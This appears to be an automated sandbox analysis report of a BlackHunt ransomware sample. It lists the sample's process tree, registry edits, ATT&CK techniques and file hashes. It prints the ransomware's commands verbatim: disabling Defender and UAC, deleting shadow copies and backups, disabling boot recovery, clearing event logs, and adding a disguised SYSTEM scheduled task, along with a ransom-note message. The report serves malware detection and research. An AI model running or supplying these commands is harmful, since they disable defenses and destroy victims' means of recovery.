758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 55 PID 2224 wrote to memory of 2600 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 55 PID 2224 wrote to memory of 2600 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 55 PID 2224 wrote to memory of 2600 2224 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe 55 PID 2780 wrote to memory of 2616 2780 cmd.exe 56 PID 2780 wrote to memory of 2616 2780 cmd.exe 56 PID 2780 wrote to memory of 2616 2780 cmd.exe 56 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" 758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe"C:\Users\Admin\AppData\Local\Temp\758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe"1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2224 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1540 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:2692
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2364 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2720
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵PID:2732
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:1736
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2780 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2616
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵PID:2832
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:2480
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:3008 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:2188
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵PID:2844
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:2680
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:2168
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:1248
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:2748
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:2312
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:2724
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:1532
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:2828
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:988
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:2640
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:1208
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:2600
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:2512
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:2636
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:816
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:2660
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:836
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:1664
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:3032
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:1332
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:2288
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2424
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:1092
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:1584
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:412
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2816
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:2552
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:2908
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:920
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:2896
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:2444
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:2688
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:3204
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:2964
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:712
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:1268
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:3088
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:2500
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:840
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:1264
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:696
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:1040
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:3004
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:1044
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:2980
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe" /F2⤵PID:1556
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe" /F3⤵
- Creates scheduled task(s)
PID:908
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:1832
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1500
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:1244
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1248
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:1924
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:2872
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:3020
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:2124
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:1104
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:3144
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:2140
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:2708
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:2436
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:4280
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:1140
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:4660
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:1564
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:2312
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:1580
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\2⤵PID:2708
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D F:\3⤵
- Enumerates connected drives
PID:300
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\2⤵PID:1604
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D C:\3⤵PID:4224
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\2⤵PID:2672
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D M:\3⤵
- Enumerates connected drives
PID:2284
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵PID:4188
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3660
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵PID:4104
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C:\Windows\system32\wevtutil.exewevtutil.exe cl System3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2320
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:3236
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:3800
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false2⤵PID:4140
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security /e:false3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:4660
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵PID:4216
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:1980
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵PID:4044
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Application3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:4648
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:4232
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:4632
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:2980
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:4620
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:2580
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:4544
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:3940
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:3684
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:2896
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:4628
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f2⤵PID:4048
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f3⤵PID:3676
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f2⤵PID:1660
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f3⤵PID:4960
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f2⤵PID:796
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f3⤵PID:4976
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f2⤵PID:2988
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f3⤵PID:4992
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F2⤵PID:1092
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Delete /TN "Windows Critical Update" /F3⤵PID:1580
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f2⤵PID:2828
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C:\Windows\system32\taskkill.exetaskkill /IM mshta.exe /f3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2040
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta2⤵PID:2888
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"3⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:4920
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt2⤵PID:2312
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C:\Windows\system32\notepad.exenotepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt3⤵PID:4936
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe"2⤵
- Deletes itself
PID:2916 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:4512
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable1⤵PID:4496
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4728
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C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4944
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C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:3656
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C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵PID:3700
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
4File Deletion
3Modify Registry
5Replay Monitor
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Downloads
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Filesize
1KB
MD56a04cd843e7728c17ec8da75e1e6fbd6
SHA119bd60584af739b468d623de26810649767866cf
SHA2569b4e1d5cfbfb429fe960a484a8aa8af56f678849a2b170ce36e660d5d789219f
SHA512cf53d1d06488c4b8a25f5d158d8c7cf2bc482c1c8b50cfcbe66dd03008c42638c9ba11a501e52916fcb1fc7198926713252f83d5acf6fd0ff89b5e562aca234a
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Filesize
12KB
MD5048c61d931131d0bcf3fda5ed3672e9c
SHA1c19de91ad91f83d8d562327ca7a50053ccbaadd4
SHA256b0263316791519b2550753461f135bcc4543016739e557fd970b5f828519f603
SHA51278030efaeb6a10c8ccb7ab002a258a56d6139324aac9396f9082af9fc47de794a86f3cd5a6937eaf0fe5cf73b45895636a81d8def84fdbd1661611e4618c2a1d
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Filesize
684B
MD5d359ebfb6dd9ac0b42a0b01da74a1f33
SHA116e82df5d172abf333b986fa6444801875f99f22
SHA25692dfec2e74d603da353621f911d9bcf8bc5d1cbc9e5d0f058f36cfd8c4d50e82
SHA5129d8c9af4983c8906c0261c5b915f28044fa75cc6237132ad135f20937369ab916ee226615620a9ecfeeb911f53442c111dbd3180736215f53d19616f8f4bc248